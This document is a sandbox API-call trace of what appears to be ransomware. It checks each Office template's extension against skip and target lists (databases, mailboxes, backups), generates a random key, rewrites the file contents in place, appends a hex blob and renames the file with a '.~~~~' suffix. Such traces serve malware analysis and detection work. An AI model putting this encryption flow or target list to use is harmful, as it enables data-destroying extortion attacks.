	[0143.975] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.975] WriteFile (in: hFile=0x10c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0143.976] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.976] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.976] CloseHandle (hObject=0x10c) returned 1
	[0143.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39b440
	[0143.976] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\elegant.dotx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\elegant.dotx.~~~~")) returned 1
	[0143.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39b440 | out: hHeap=0x300000) returned 1
	[0143.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0143.978] GetLastError () returned 0x0
	[0143.978] RtlWakeConditionVariable () returned 0x0
	[0143.978] GetCurrentThreadId () returned 0x9cc
	[0143.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".scr") returned 0x0
	[0143.979] lstrlenW (lpString=".cmd") returned 4
	[0143.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".cmd") returned 0x0
	[0143.979] lstrlenW (lpString=".dll") returned 4
	[0143.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".dll") returned 0x0
	[0143.979] lstrlenW (lpString=".bat") returned 4
	[0143.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".bat") returned 0x0
	[0143.979] lstrlenW (lpString=".cpl") returned 4
	[0143.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".cpl") returned 0x0
	[0143.979] lstrlenW (lpString=".sys") returned 4
	[0143.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".sys") returned 0x0
	[0143.979] lstrlenW (lpString=".msc") returned 4
	[0143.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".msc") returned 0x0
	[0143.979] lstrlenW (lpString=".com") returned 4
	[0143.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".com") returned 0x0
	[0143.979] lstrlenW (lpString=".lnk") returned 4
	[0143.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".lnk") returned 0x0
	[0143.979] lstrlenW (lpString=".msp") returned 4
	[0143.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".msp") returned 0x0
	[0143.979] lstrlenW (lpString=".pif") returned 4
	[0143.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".pif") returned 0x0
	[0143.979] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch="msp\r\n.pif") returned 0x0
	[0143.979] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\fancy.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0143.982] lstrlenW (lpString=".sqb") returned 4
	[0143.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".sqb") returned 0x0
	[0143.982] lstrlenW (lpString=".ost") returned 4
	[0143.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".ost") returned 0x0
	[0143.982] lstrlenW (lpString=".txt") returned 4
	[0143.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".txt") returned 0x0
	[0143.983] lstrlenW (lpString=".mdt") returned 4
	[0143.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".mdt") returned 0x0
	[0143.983] lstrlenW (lpString=".BDB") returned 4
	[0143.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".BDB") returned 0x0
	[0143.983] lstrlenW (lpString=".eql") returned 4
	[0143.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".eql") returned 0x0
	[0143.983] lstrlenW (lpString=".DBF") returned 4
	[0143.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".DBF") returned 0x0
	[0143.983] lstrlenW (lpString=".EQL") returned 4
	[0143.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".EQL") returned 0x0
	[0143.983] lstrlenW (lpString=".FDB") returned 4
	[0143.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".FDB") returned 0x0
	[0143.983] lstrlenW (lpString=".EDB") returned 4
	[0143.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".EDB") returned 0x0
	[0143.983] lstrlenW (lpString=".DACPAC") returned 7
	[0143.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".DACPAC") returned 0x0
	[0143.983] lstrlenW (lpString=".VHD") returned 4
	[0143.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".VHD") returned 0x0
	[0143.983] lstrlenW (lpString=".DBV") returned 4
	[0143.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".DBV") returned 0x0
	[0143.983] lstrlenW (lpString=".dacpac") returned 7
	[0143.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".dacpac") returned 0x0
	[0143.983] lstrlenW (lpString=".sdf") returned 4
	[0143.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".sdf") returned 0x0
	[0143.983] lstrlenW (lpString=".accdb") returned 6
	[0143.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".accdb") returned 0x0
	[0143.983] lstrlenW (lpString=".DBX") returned 4
	[0143.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".DBX") returned 0x0
	[0143.983] lstrlenW (lpString=".MDT") returned 4
	[0143.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".MDT") returned 0x0
	[0143.983] lstrlenW (lpString=".SQB") returned 4
	[0143.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".SQB") returned 0x0
	[0143.983] lstrlenW (lpString=".vhd") returned 4
	[0143.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".vhd") returned 0x0
	[0143.983] lstrlenW (lpString=".bac") returned 4
	[0143.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".bac") returned 0x0
	[0143.984] lstrlenW (lpString=".mdf") returned 4
	[0143.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".mdf") returned 0x0
	[0143.984] lstrlenW (lpString=".BAK") returned 4
	[0143.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".BAK") returned 0x0
	[0143.984] lstrlenW (lpString=".BAC") returned 4
	[0143.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".BAC") returned 0x0
	[0143.984] lstrlenW (lpString=".dbs") returned 4
	[0143.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".dbs") returned 0x0
	[0143.984] lstrlenW (lpString=".vhdx") returned 5
	[0143.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".vhdx") returned 0x0
	[0143.984] lstrlenW (lpString=".NDF") returned 4
	[0143.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".NDF") returned 0x0
	[0143.984] lstrlenW (lpString=".dat") returned 4
	[0143.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".dat") returned 0x0
	[0143.984] lstrlenW (lpString=".DBS") returned 4
	[0143.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".DBS") returned 0x0
	[0143.984] lstrlenW (lpString=".CKP") returned 4
	[0143.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".CKP") returned 0x0
	[0143.984] lstrlenW (lpString=".edb") returned 4
	[0143.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".edb") returned 0x0
	[0143.984] lstrlenW (lpString=".PST") returned 4
	[0143.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".PST") returned 0x0
	[0143.984] lstrlenW (lpString=".dbf") returned 4
	[0143.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".dbf") returned 0x0
	[0143.984] lstrlenW (lpString=".SQL") returned 4
	[0143.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".SQL") returned 0x0
	[0143.984] lstrlenW (lpString=".pst") returned 4
	[0143.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".pst") returned 0x0
	[0143.984] lstrlenW (lpString=".dbv") returned 4
	[0143.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".dbv") returned 0x0
	[0143.984] lstrlenW (lpString=".SDF") returned 4
	[0143.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".SDF") returned 0x0
	[0143.985] lstrlenW (lpString=".dtxs") returned 5
	[0143.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".dtxs") returned 0x0
	[0143.985] lstrlenW (lpString=".db3") returned 4
	[0143.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".db3") returned 0x0
	[0143.985] lstrlenW (lpString=".OST") returned 4
	[0143.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".OST") returned 0x0
	[0143.985] lstrlenW (lpString=".dbx") returned 4
	[0143.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".dbx") returned 0x0
	[0143.985] lstrlenW (lpString=".DB3") returned 4
	[0143.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".DB3") returned 0x0
	[0143.985] lstrlenW (lpString=".DAT") returned 4
	[0143.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".DAT") returned 0x0
	[0143.985] lstrlenW (lpString=".VHDX") returned 5
	[0143.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".VHDX") returned 0x0
	[0143.985] lstrlenW (lpString=".ndf") returned 4
	[0143.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".ndf") returned 0x0
	[0143.985] lstrlenW (lpString=".DB") returned 3
	[0143.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".DB") returned 0x0
	[0143.985] lstrlenW (lpString=".sql") returned 4
	[0143.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".sql") returned 0x0
	[0143.985] lstrlenW (lpString=".MYD") returned 4
	[0143.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".MYD") returned 0x0
	[0143.985] lstrlenW (lpString=".DBT") returned 4
	[0143.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".DBT") returned 0x0
	[0143.985] lstrlenW (lpString=".ACCDB") returned 6
	[0143.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".ACCDB") returned 0x0
	[0143.985] lstrlenW (lpString=".fdb") returned 4
	[0143.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".fdb") returned 0x0
	[0143.985] lstrlenW (lpString=".bak") returned 4
	[0143.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".bak") returned 0x0
	[0143.985] lstrlenW (lpString=".myd") returned 4
	[0143.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".myd") returned 0x0
	[0143.985] lstrlenW (lpString=".DTXS") returned 5
	[0143.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".DTXS") returned 0x0
	[0143.986] lstrlenW (lpString=".ckp") returned 4
	[0143.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".ckp") returned 0x0
	[0143.986] lstrlenW (lpString=".dbt") returned 4
	[0143.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".dbt") returned 0x0
	[0143.986] lstrlenW (lpString=".db") returned 3
	[0143.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".db") returned 0x0
	[0143.986] lstrlenW (lpString=".TXT") returned 4
	[0143.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".TXT") returned 0x0
	[0143.986] lstrlenW (lpString=".MDF") returned 4
	[0143.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".MDF") returned 0x0
	[0143.986] lstrlenW (lpString=".bdb") returned 4
	[0143.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".bdb") returned 0x0
	[0143.986] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0143.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0143.986] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0143.987] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0143.987] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0143.987] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0143.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0143.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0143.987] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26397746545) returned 1
	[0143.987] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbf3aae30, dwHighDateTime=0x1d60e1e)) 
	[0143.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0143.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0143.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0143.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b25c0
	[0143.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0143.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b25c0 | out: hHeap=0x300000) returned 1
	[0143.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0143.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ac470
	[0143.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0143.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ac470 | out: hHeap=0x300000) returned 1
	[0143.988] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0143.988] GetLastError () returned 0x0
	[0143.988] GetLastError () returned 0x0
	[0143.989] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0143.989] GetLastError () returned 0x0
	[0143.989] GetLastError () returned 0x0
	[0143.989] ReadFile (in: hFile=0x10c, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0x221b, lpOverlapped=0x0) returned 1
	[0144.030] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffdde5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.030] WriteFile (in: hFile=0x10c, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x221b, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x221b, lpOverlapped=0x0) returned 1
	[0144.031] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0144.031] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.031] WriteFile (in: hFile=0x10c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.031] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.031] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.031] CloseHandle (hObject=0x10c) returned 1
	[0144.047] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28ac668
	[0144.047] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\fancy.dotx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\fancy.dotx.~~~~")) returned 1
	[0144.071] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ac668 | out: hHeap=0x300000) returned 1
	[0144.071] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0144.071] GetLastError () returned 0x0
	[0144.071] RtlWakeConditionVariable () returned 0x0
	[0144.071] GetCurrentThreadId () returned 0x9cc
	[0144.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".scr") returned 0x0
	[0144.071] lstrlenW (lpString=".cmd") returned 4
	[0144.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".cmd") returned 0x0
	[0144.071] lstrlenW (lpString=".dll") returned 4
	[0144.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".dll") returned 0x0
	[0144.072] lstrlenW (lpString=".bat") returned 4
	[0144.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".bat") returned 0x0
	[0144.072] lstrlenW (lpString=".cpl") returned 4
	[0144.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".cpl") returned 0x0
	[0144.072] lstrlenW (lpString=".sys") returned 4
	[0144.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".sys") returned 0x0
	[0144.072] lstrlenW (lpString=".msc") returned 4
	[0144.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".msc") returned 0x0
	[0144.072] lstrlenW (lpString=".com") returned 4
	[0144.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".com") returned 0x0
	[0144.072] lstrlenW (lpString=".lnk") returned 4
	[0144.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".lnk") returned 0x0
	[0144.072] lstrlenW (lpString=".msp") returned 4
	[0144.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".msp") returned 0x0
	[0144.072] lstrlenW (lpString=".pif") returned 4
	[0144.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".pif") returned 0x0
	[0144.072] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch="msp\r\n.pif") returned 0x0
